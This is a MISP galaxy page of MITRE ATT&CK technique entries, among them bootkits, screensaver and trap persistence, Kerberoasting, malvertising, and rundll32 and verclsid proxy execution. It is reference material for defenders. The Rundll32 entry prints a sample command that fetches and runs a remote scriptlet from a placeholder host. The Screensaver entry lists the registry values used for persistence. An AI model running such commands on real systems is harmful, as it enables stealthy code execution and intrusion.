A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)
The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
Internal MISP references
UUID 1b7b1806-7746-41a1-a35d-e48dae25ddba which can be used as unique global reference for Bootkit - T1542.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1542.003 |
| kill_chain | ['attack-Linux:persistence', 'attack-Windows:persistence', 'attack-Linux:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Drive: Drive Modification'] |
| mitre_platforms | ['Linux', 'Windows'] |
Related clusters
To see the related clusters, click here.
Firmware - T1592.003
Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).
Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or Exploit Public-Facing Application).
Internal MISP references
UUID b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d which can be used as unique global reference for Firmware - T1592.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1592.003 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
ROMMONkit - T1542.004
Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)
ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to TFTP Boot, an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.
Internal MISP references
UUID a6557c75-798f-42e4-be70-ab4502e0a3bc which can be used as unique global reference for ROMMONkit - T1542.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1542.004 |
| kill_chain | ['attack-Network:defense-evasion', 'attack-Network:persistence'] |
| mitre_data_sources | ['Firmware: Firmware Modification'] |
| mitre_platforms | ['Network'] |
Related clusters
To see the related clusters, click here.
Screensaver - T1546.002
Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.
The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence:
SCRNSAVE.exe- set to malicious PE pathScreenSaveActive- set to '1' to enable the screensaverScreenSaverIsSecure- set to '0' to not require a password to unlockScreenSaveTimeout- sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)
Internal MISP references
UUID ce4b7013-640e-48a9-b501-d0025a95f4bf which can be used as unique global reference for Screensaver - T1546.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.002 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
WHOIS - T1596.002
Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)
Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).
Internal MISP references
UUID 166de1c6-2814-4fe5-8438-4e80f76b169f which can be used as unique global reference for WHOIS - T1596.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1596.002 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Tool - T1588.002
Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)
Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).
Internal MISP references
UUID a2fdce72-04b2-409a-ac10-cc1695f4fce0 which can be used as unique global reference for Tool - T1588.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1588.002 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Server - T1583.004
Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked)
Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)
Internal MISP references
UUID 60c4b628-4807-4b0b-bbf5-fdac8643c337 which can be used as unique global reference for Server - T1583.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1583/004 - webarchive
- https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 - webarchive
- https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/ - webarchive
- https://threatconnect.com/blog/infrastructure-research-hunting/ - webarchive
- https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/ - webarchive
- https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation - webarchive
- https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1583.004 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content', 'Internet Scan: Response Metadata'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Botnet - T1583.005
Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)
Internal MISP references
UUID 31225cd3-cd46-4575-b287-c2c14011c074 which can be used as unique global reference for Botnet - T1583.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1583/005 - webarchive
- https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/ - webarchive
- https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/ - webarchive
- https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/ - webarchive
- https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html - webarchive
- https://www.imperva.com/learn/ddos/booters-stressers-ddosers/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1583.005 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Kerberoasting - T1558.003
Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force.(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015)
Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)
Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)
This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)
Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.(Citation: SANS Attacking Kerberos Nov 2014)
Internal MISP references
UUID f2877f7f-9a4c-4251-879f-1224e3006bee which can be used as unique global reference for Kerberoasting - T1558.003 in MISP communities and other software using the MISP galaxy
External references
- https://adsecurity.org/?p=2293 - webarchive
- https://attack.mitre.org/techniques/T1558/003 - webarchive
- https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/ - webarchive
- https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 - webarchive
- https://msdn.microsoft.com/library/ms677949.aspx - webarchive
- https://redsiege.com/kerberoast-slides - webarchive
- https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx - webarchive
- https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1558.003 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Active Directory: Active Directory Credential Request'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Serverless - T1583.007
Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)
Internal MISP references
UUID 04a5a8ab-3bc8-4c83-95c9-55274a89786d which can be used as unique global reference for Serverless - T1583.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1583/007 - webarchive
- https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/ - webarchive
- https://blog.xpnsec.com/aws-lambda-redirector/ - webarchive
- https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1583.007 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Malvertising - T1583.008
Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites.
Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising)
Malvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)
Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising)
Internal MISP references
UUID 155207c0-7f53-4f13-a06b-0a9907ef5096 which can be used as unique global reference for Malvertising - T1583.008 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1583/008 - webarchive
- https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e - webarchive
- https://www.bbc.com/news/technology-12891182 - webarchive
- https://www.ic3.gov/Media/Y2022/PSA221221 - webarchive
- https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/ - webarchive
- https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1583.008 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Server - T1584.004
Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations.
Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.
Internal MISP references
UUID e196b5c5-8118-4a1c-ab8a-936586ce3db5 which can be used as unique global reference for Server - T1584.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1584/004 - webarchive
- https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 - webarchive
- https://threatconnect.com/blog/infrastructure-research-hunting/ - webarchive
- https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation - webarchive
- https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1584.004 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content', 'Internet Scan: Response Metadata'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Trap - T1546.005
Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.
Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
Internal MISP references
UUID 63220765-d418-44de-8fae-694b3912317d which can be used as unique global reference for Trap - T1546.005 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.005 |
| kill_chain | ['attack-macOS:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-macOS:persistence', 'attack-Linux:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Botnet - T1584.005
Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS).
Internal MISP references
UUID 810d8072-afb6-4a56-9ee7-86379ac4a6f3 which can be used as unique global reference for Botnet - T1584.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1584/005 - webarchive
- https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html - webarchive
- https://www.imperva.com/learn/ddos/booters-stressers-ddosers/ - webarchive
- https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1584.005 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
CDNs - T1596.004
Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.
Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).
Internal MISP references
UUID 91177e6d-b616-4a03-ba4b-f3b32f7dda75 which can be used as unique global reference for CDNs - T1596.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1596.004 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Exploits - T1587.004
Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via Vulnerabilities to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)
As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.
Adversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).
Internal MISP references
UUID bbc3cba7-84ae-410d-b18b-16750731dfa2 which can be used as unique global reference for Exploits - T1587.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1587.004 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Serverless - T1584.007
Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)
Internal MISP references
UUID df1bc34d-1634-4c93-b89e-8120994fce77 which can be used as unique global reference for Serverless - T1584.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1584/007 - webarchive
- https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/ - webarchive
- https://blog.xpnsec.com/aws-lambda-redirector/ - webarchive
- https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1584.007 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Exploits - T1588.005
Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)
In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)
An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.
Adversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).
Internal MISP references
UUID f4b843c1-7e92-4701-8fed-ce82f8be2636 which can be used as unique global reference for Exploits - T1588.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1588/005 - webarchive
- https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ - webarchive
- https://www.exploit-db.com/ - webarchive
- https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html - webarchive
- https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec - webarchive
- https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1588.005 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Vulnerabilities - T1588.006
Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)
An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. Exploits) or to attempt to develop one themselves (i.e. Exploits).
Internal MISP references
UUID 2b5aa86b-a0df-4382-848d-30abea443327 which can be used as unique global reference for Vulnerabilities - T1588.006 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1588.006 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Rundll32 - T1218.011
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)
Internal MISP references
UUID 045d0922-2310-4e60-b5e4-3302302cb3c5 which can be used as unique global reference for Rundll32 - T1218.011 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1218/011 - webarchive
- https://github.com/gtworek/PSBits/tree/master/NoRunDll - webarchive
- https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ - webarchive
- https://www.attackify.com/blog/rundll32_execution_order/ - webarchive
- https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/ - webarchive
- https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.011 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'Module: Module Load', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Verclsid - T1218.012
Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)
Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub)
Internal MISP references
UUID 808e6329-ca91-4b87-ac2d-8eadc5f8f327 which can be used as unique global reference for Verclsid - T1218.012 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1218/012 - webarchive
- https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ - webarchive
- https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5 - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Verclsid/ - webarchive
- https://redcanary.com/blog/verclsid-exe-threat-detection/ - webarchive
- https://www.winosbite.com/verclsid-exe/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.012 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
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Mavinject - T1218.013
